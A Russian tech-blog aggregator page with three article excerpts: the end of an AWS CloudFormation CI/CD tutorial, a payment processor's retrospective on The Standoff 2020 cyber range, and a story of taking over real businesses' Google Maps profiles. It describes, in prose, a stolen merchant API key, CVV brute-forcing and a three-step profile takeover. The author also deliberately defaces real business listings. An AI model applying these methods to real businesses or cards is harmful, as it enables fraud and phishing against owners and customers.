Можно просмотреть конфигурацию и нажать Create pipeline (Создать конвейер).

Тестирование автоматизированного конвейера

1. Создайте собственный шаблон CloudFormation или воспользуйтесь вот этим:ссылка.

2. Просканируйте шаблон CloudFormation с помощью подключаемого модуля Cloud One Conformity и проверьте результат.

Удостоверьтесь, что остались некоторые проблемы, которые нужно устранить перед сохранением в производственную среду.

3. Шаблон можно отправить в репозиторий, чтобы проверить его работоспособность в конвейере. Это своеобразный тест перед исправлением всех проблем, найденных в шаблоне CloudFormation.

4. Сохраните новый код в CodeCommit:

git add .git commit -m "Test Automation"git push

5. Сохранение нового кода в CodeCommit приведет к запуску CodePipeline.

После завершения процесса автоматизации вы увидите, что оба этапа выполнены успешно.

ПРИМЕЧАНИЕ.В случае возникновения каких-либо проблем проверьте процесс построения. Перейдите к последнему построению и просмотрите его журналы. Они очень полезны для отладки в случае возникновения затруднений.

Заключение

Итак, у вас есть полностью автоматизированный конвейер IaC с AWS CodeCommit, AWS CodeBuild, AWS CodePipeline и Cloud One Conformity, позволяющий анализировать всевозможные отклонения конфигурации в ходе процесса создания шаблонов CloudFormation.

Надеюсь, эта статья поможет вам и вашей группе не отступать в ходе разработки от передовых методов построения архитектур и эффективно работать над инновационными облачными решениями в сжатые сроки. Если вам нужна дополнительная информация, обязательно свяжитесь со мной!

Благодарности

Хочу сказать БОЛЬШОЕ спасибо некоторым людям, которые своими потрясающими отзывами помогли мне сделать эту статью лучше:

  • Raphael Bottino (Рафаэль Боттино)

  • Melissa Clow (Мелисса Клоу)

Если эта статья была вам полезна, жмите стрелочку вверх и пишите комментарии.


- Узнать подробнее о курсе"Infrastructure as a code in Ansible".


- Записаться на супер-интенсив IaC Ansible

Подробнее..

Большая ретроспектива участия RBK.money в The Standoff 2020

02.12.2020 18:09:40 | Автор: admin
или как хакеры ломали наш опенсорс платежный процессинг в кибергороде.

Привет! Мы тут недавно с процессингом RBK.money приняли активное участие в киберполигоне The Standoff это когда делают виртуальную модель целого мегаполиса со всей его инфраструктурой, энергостанциями, магазинами и прочими важными элементами. А потом пускают в этот цифровой двойник города команды blue team (6 команд в этом году) и red team (29 команд в этом году соответственно), первая защищает всю эту инфраструктуру, вторая же активно пытается что-то сломать.


из к/ф Бегущий по лезвию 2049

Конечно, мы принесли на мероприятие наш процессинг, о котором вы можете почитать в предыдущих постах нашего блога. Процессинг был частью банка и предоставлял финансовые и платежные сервисы для жителей кибергорода, обслуживал эмиссию платежных карт, давал возможность продавать товары и услуги.

В этом посте я хочу рассказать, как нас ломали хакеры (спойлер: и не сломали), а также как мы сами пару раз стрельнули себе в ногу в процессе подготовки и разворачивания своего решения. И да, главное для нас это изначально была ситуация win-win: не сломают нас, значит, не зря мы настолько уверены в своем процессинге, что выложили его в опенсорс и теперь отдаем хакерам. Сломают вообще отлично, увидим, где были слабые места, и станем ещё более защищенными с точки зрения безопасности для наших клиентов.

Внедрялись в кибергород мы в ощутимой спешке: это один из первых наших деплойментов в Kubernetes (до этого мы все разворачивали Salt-стейтами), и нам пришлось использовать новые подходы по инсталляции. И последствия от этой спешки не заставили себя долго ждать.

Подсказки хакерам




Ещё до раскатки процессинга на кибергород мы намеренно оставили там два довольно слабых места.

Первое уязвимость, связанная с методами токенизации карт. Эти методы были подвержены уязвимости в виде replay-атак, то есть карту можно было успешно токенизировать в каком-то одном магазине, а потом с этим токеном прийти в другой и переиспользовать его там. Мы робко надеялись, что уязвимость найдут, но увы.

Второе простая учетка главного мерчанта. Мы создали всего одного мерчанта-олигарха, это было юридическое лицо, которое владело интернет-магазинами в кибергороде. И у этого толстосума были довольно простые учетные данные, то есть пароль вида Parolec0 в принципе можно было бы и подобрать. Но тоже не взлетело.

Зато взошли наши собственные косяки.

Поспешишь не всё защитишь




Внимательный читатель из пункта про главного мерчанта сделает вывод погодите-ка, это же у вас один-единственный олигарх, которому принадлежат все интернет-магазины, достаточно взломать один такой интернет-магазин, и можно получить доступ к остальным. Ну да, вот так в спешке не продумали этот момент..

И на самом деле, можно было после взлома этого мерчанта достать его API-ключ для нашего процессинга и этим процессингом полноценно управлять. Собственно, это и случилось атакующие взломали стороннее решение, интернет-магазин развлечений города, достали оттуда API-ключ нашего мерчанта, пришли с ним в наш процессинг и вызвали метод, который позволяет включать-выключать свой интернет-магазин. И так как одно юрлицо владело всеми торговыми точками по всему городу, они все и отключились.

В принципе, это правильно, если ты здоровенный жадный олигарх, который захапал себе вообще всё страдай. Мы сделали выводы и решили оперативно раскулачить толстосума, создав ещё 5 самостоятельных юридических лиц, и для каждого отдельные пары логин-пароль и API-ключ. Думаю, в следующих подобных соревнованиях постараемся сделать ситуацию еще более приближенной к реальности в бизнесовой ее части.

А ещё наприлетало из-за особенностей кубера.

В Kubernetes основное хранилище о состоянии кластера ETCD, полезная распределенная система, на которой можно строить весьма и весьма надежные штуки. Но она слишком критична к latency жестких дисков.

Как я писал, мы разворачивали процессинг в виртуальной среде кибергорода. На соседние с нами объекты шли довольно активные атаки, и однажды к нам на датастор кубера передвинули один из таких шумных объектов, инфраструктуру одного из участников, которую ломали долго и упорно. И хотя де-факто мы в этом случае не были мишенью и в тот момент никто не ломал именно процессинг, он продолжал работать штатно, но сам кластер начал дико тормозить, харды просто не справлялись (успели заметить что вывод команды ls -l занимал порядка 19 секунд). Получилось, что вышел своеобразный DoS, и в одну ночь мы отдавали на все запросы наших стандартных котиков.



После этой ситуации организаторы The Standoff передвинули нас на другие диски, то есть погасили одну виртуальную машину и включили еще одну, в другой локации. После чего наша распределенная СУБД радостно словила split-brain, половина нод содержали одну информацию, половина другую, и особо не могли с собой договориться. На бою мы, конечно, серьезнее бы заморочились с миграцией и не допустили подобного. А в тестовой среде куда проще было просто грохнуть все имеющееся и инсталлировать заново, что мы и сделали, потратив, кстати, 2 часа. Почему я это выделяю потому что мы развернули полноценный рабочий процессинг со всеми составляющими за два часа, и такое с нашим процессингом вы можете проделать на бою в своей компании. Классические процессинги обычно разворачивают в компаниях месяца 3.

Так вот, про split-brain, это все спешка. Мы в запаре просто на одной из нод под корень снесли /tmp. Кто ж знал, что модуль CSI LVM, который раздает локальные тома с железа в поды, скрыто (!) монтирует персистентный том кубера в /tmp. Таким образом получилось, что мы своими собственными руками снесли данные под ногами СУБД, которые на ней крутились. Причем, несмотря на то, что мы снесли хранилище для части нод в кластерах баз, у нас все продолжало работать до первого перезапуска виртуальной машины, который случился, когда нас начали переносить на новые сторы.

Blue-team медленно выключает свою защиту




В один из дней команды blue-team решили выключить внешние защиты (firewall и прочее). То есть первые пару дней хакеры пытались ломать системы с включенной защитой такого рода, а потом без. У нас также стоял сторонний WAF, который в ингрессе с нжинксом в виде модуля подгружался и защищал наш трафик.

И вот настал этот день, мы пошли выключать WAF и поняли, что он и так уже отключен. Два дня назад. Потому что мы молодцы и в спешке (да, да), настраивали ingress kubernetes, на котором был экземпляр WAF. И всё бы хорошо, но WAF банально не достучался до управляющего сервера, не смог с него скачать файл лицензии, пожал плечами и просто выключился от греха. И получается, что мы все эти два дня Ломаем с включенной защитой сидели, собственно, без этой защиты.

Но всё равно нас не сломали.

Ещё одно подкрепление тезиса, что спешить вредно (вдруг вам мало предыдущих) ситуация с нашим антифродом. Я описывал его в предыдущих постах блога, там волшебная коробка с набором правил. Антифрод защищает от перебора банковских карт, попыток оплатить в одну точку из разных локаций / IP / email и прочих недружественных действий. Мы сказали команде защиты, что сами вдумчиво настроим все эти правила.

И мы это сделали мы тщательно настроили все правила для антифрода. На нашем боевом сервере RBK.money вместо инсталляции для The Standoff. Банально перепутали урлы UI в адресной строке браузера. То есть антифрод на это время представлял собой коробку с молчаливой загадочной пустотой.

Это и стало одним из успешных векторов для редов:
например, они до этого взломали сторонний интернет-банк, стырив PAN-код карты (сами цифры, Primary Account Number), имя держателя карты и подобрав дату действия. После этого уже в нашем процессинге по этому PAN стали перебирать CVV. И все было бы хорошо, после 3 попытки перебора карты были бы заблокированы нашим антифродом. Если бы см выше.

А вообще подобных смешных историй было много. В какой-то момент у нас перестали резолвиться сервисы и перестало синхронизироваться время на нодах, причем как-то рандомно, с части хостов.

Конечно, первым делом грешили на мисконфиг, непонятную работу кластера.

С DNS проблему быстро решили выносом CoreDNS подов прямо на ноды, где этот трафик не фаерволился, а с NTP нам повезло по счастью, большого clock skew мы не поймали, а при создании кластера ноды еще успели синхронизироваться.

Оказалось в какой-то момент на уровне фаервола были отключены исходящие NTP- и DNS-запросы для части нод. Видать, кто-то слишком сильно закрутил гайки с фильтрацией.

Другие атаки




Атаки на другие соседние объекты кибергорода также временами проходили успешно, включая те, что, как и мы, были в финансовой системе кибергорода.

Хорошо, что мы не перепутали урлы алертов над эластиком и в мониторинге, и видели их достаточно точно и достаточно быстро.

Для примера, как в случае со взломом нашего олигарха и уведённым API-ключом. Взломали его в 22.17 МСК. В 22.22 мы на своей стороне заметили это и сразу отрепортили команде защитников и организаторам. Заметили, кстати, благодаря кривому использованию API хакеры передали в первом запросе странный заголовок content type, вызывали редкий метод нашего API, еще кое-какие нюансы вот и был повод сработать алерту.

Когда система работает штатно и автоматически, это все редко совпадает одновременно. А вот если происходит подобное, значит, с API кто-то играется именно руками. Вот алерт и сработал.
Если говорить не о кибергороде, а о реальных ситуациях такого рода, то тут все происходит еще быстрее, в таких случаях система автоматически блокирует действия мерчанта, чтобы у него со счета ничего не вывели и в принципе никак не навредили работе и бизнесу, поднимает панику и подключает уже живых сотрудников

На будущее


Формат взлома кибергорода это, без шуток, будущее информационной безопасности. Мы обязательно пойдем сюда снова, учтем все ошибки и продумаем инфраструктуру и бизнес-схемы так, чтобы они были максимально приближены к реальности. В идеале вообще хочется, чтобы к таким же выводам пришли люди из ЦБ или Госуслуг протестить свою инфраструктуру в бою, предоставить возможность найти уязвимости и стать еще лучше и надежнее для пользователей и бизнеса.

И это на самом деле было очень классно и весело. Фактически мы получили большой набор Chaos Monkey-кейсов, которые не факт что стали бы воспроизводить на продакшене, мы протестировали процессинг на атаки, получив за 2 дня больше атак, чем к нам штатно приходит за полгода.

Мы многому научились, и самое главное увидели, что наш продукт, который мы пишем для себя и для вас, пользуется популярностью у участников кибергорода, для нашего ИТ это было сильной мотивацией ведь приятно, когда результатом твоего труда пользуются люди, пусть в данном случае и с весьма специфическими целями.

Нам очень понравилось и хочется ЕЩ.

В следующем Стендоффе ждите нас с еще более интересными схемами, большим количеством платежных функций и новыми векторами атак!
Подробнее..

Как стать владельцем чужой организации в Google Maps?

03.12.2020 00:05:42 | Автор: admin

Одним тёплым вечером жена сказал что стала владельцем нашим Музеем Мирового океана, находящимся в Калининграде. Она просто нажала на кнопку "Я владелец компании" в Google картах.

Я не поверил этому, как такое вообще может быть? Для подтверждения она изменила адрес сайта в профиле организации, через минуту в нём стал отображаться новый URL. Передо мной стоял и улыбался новый владелец крупного музея.

Мы сразу же вернули настоящий URL и принялись захватывать другие организации. Разумеется ничего не вышло. Каждый раз Google требовал подтверждения права собственности с помощью кода подтверждения из электронного письма, звонка по телефону или почтового уведомления.

Но как тогда получилось завладеть музеем? В тот вечер все мысли сводились к найденной уязвимости в системе верификации прав собственности на организации. Сразу был отправлен репорт в Google Bug Bounty со всей имеющейся информацией. А после я начал искать причины такого поведения системы верификации чтобы дополнить репорт новой информацией.

За несколько дней я смог захватить и получить полный контроль над 11 организациями в Google Business. Я мог изменять информацию в профиле, загружать картинки, отвечать на отзывы, просматривать статистику и.т.д.

Профили захваченных организаций на Google My Business

У меня не получалось захватывать конкретные организации, все захваты получались наугад, ручным перебором по карте. Я не смог определить закономерность. Какие-либо манипуляции с моей стороны не увеличивали шансы на захват конкретной организации. Единственное моё заключение - всё происходит со стороны Google. Я записывал видео, делал скриншоты и сохранял HAR, для дальнейшей отправки инженерам по безопасности Google.

Процесс захвата всегда оставался одним и тем же:

1) Выбрать организацию на Google Maps;

2) Нажать кнопку "Я владелец компании";

3) В Google Business нажать кнопку "Управлять компанией".

Видео процесса захвата

Google посчитал это не уязвимостью, ссылаясь на машинное бучение и модерацию информации в картах сотрудниками. Дополнительные доказательства также не привели к пересмотру репорта. Раз это не уязвимость, я решил внести изменения в профиль одной из захваченных организаций. Добавил номер репорта в блок комментария от компании. Разумеется изменения прошли модерацию, я всё таки имею полный контроль, и через несколько минут отобразились в профиле организации.

После чего я сообщил в Google о внесённых изменениях. По прошествии 2 недель ответ от него не поступил. Я решил внести ещё изменения, ответил на отзыв.

Прошло 2 недели, но ответа нет. Тогда я добавил номер репорта в блок комментария от компании во все захваченные организации. Разумеется и в этом случае Google молчал. Уже больше месяца внесённые изменения никто не удалил. Я решил внести кардинальные изменения в профиль одной из компаний.

Картиночка

В конечном счёте, через месяц я смог получить от Google ответ, с просьбой перестать им писать. За 2 месяца внесённые изменения никто не удалил. В качестве последней попытки доказать наличие уязвимости я внёс максимальное количество изменений во все профили захваченных организаций. Полностью нарушив деятельность организаций в Google Maps. Хорошо это или плохо? Скорее всего плохо, но другого способа привлечь внимание к наличию проблемы я не придумал. Так же нужно учитывать что с момента создания репорта прошло уже 3 месяца. Все правки прошли модерацию за час и карта стала выглядеть следующим образом:

Картиночка

Google отказался от пересмотра репорта сославшись на то, что получение полного контроля над профилем чужой организации - это не уязвимость. И наконец-то удалил все мои внесённые изменения. Неизвестно сколько бы они ещё продержались, не сообщи я о них. Месяц, год?

Вывод я сделал следующий - злоумышленник может захватить организацию и подменить адрес сайта на фишинговый, а жертва с радостью отправит ему свои деньги. Купит билеты в кино, оплатит новый iPhone, забронирует стол в ресторане, оплатит доставку еды и.т.д.

Подробнее..

Категории

Последние комментарии

© 2006-2020, personeltest.ru